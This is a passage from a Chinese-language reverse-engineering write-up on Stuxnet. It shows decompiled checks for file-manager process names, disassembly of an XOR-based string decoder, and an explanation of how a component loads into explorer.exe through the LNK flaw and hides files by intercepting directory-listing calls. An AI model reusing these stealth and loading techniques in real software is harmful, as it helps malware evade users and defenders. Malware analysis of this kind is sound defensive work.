!lstrcmpiW(&BaseName, L"totalcmd.exe") || !lstrcmpiW(&BaseName, L"wincmd.exe") ) v0 = 1; return EnumWindows(EnumFunc, v0); } 使用了很多琐碎的加密方式,例如: .text:100036A8 A_encode_key_sub_100036A8 proc near ; CODE XREF: sub_10003733+1F↓p .text:100036A8 .text:100036A8 arg_0 = dword ptr 4 .text:100036A8 arg_4 = dword ptr 8 .text:100036A8 .text:100036A8 mov eax, [esp+arg_0] .text:100036AC test eax, eax .text:100036AE jnz short loc_100036B8 .text:100036B0 mov eax, [esp+arg_4] .text:100036B4 mov byte ptr [eax], 0 .text:100036B7 retn .text:100036B8 ; --------------------------------------------------------------------------- .text:100036B8 .text:100036B8 loc_100036B8: ; CODE XREF: A_encode_key_sub_100036A8+6↑j .text:100036B8 mov ecx, [esp+arg_4] .text:100036BC jmp short loc_100036C1 .text:100036BE ; --------------------------------------------------------------------------- .text:100036BE .text:100036BE loc_100036BE: ; CODE XREF: A_encode_key_sub_100036A8+20↓j .text:100036BE inc eax .text:100036BF inc eax .text:100036C0 inc ecx .text:100036C1 .text:100036C1 loc_100036C1: ; CODE XREF: A_encode_key_sub_100036A8+14↑j .text:100036C1 mov dl, [eax] .text:100036C3 xor dl, 12h .text:100036C6 mov [ecx], dl .text:100036C8 jnz short loc_100036BE .text:100036CA retn .text:100036CA A_encode_key_sub_100036A8 endp // 总体来说,~wtr4141.tmp 是一个很早的加载入口,通过lnk漏洞加载在explorer.exe进程,同时是用来加载~wtr4132.tmp 和利用explorer是用户态浏览文件的入口,以此来隐藏stuxnet 其他文件(通过文件操作函数,FindFirstFile ntQueryDirctoryFile ...).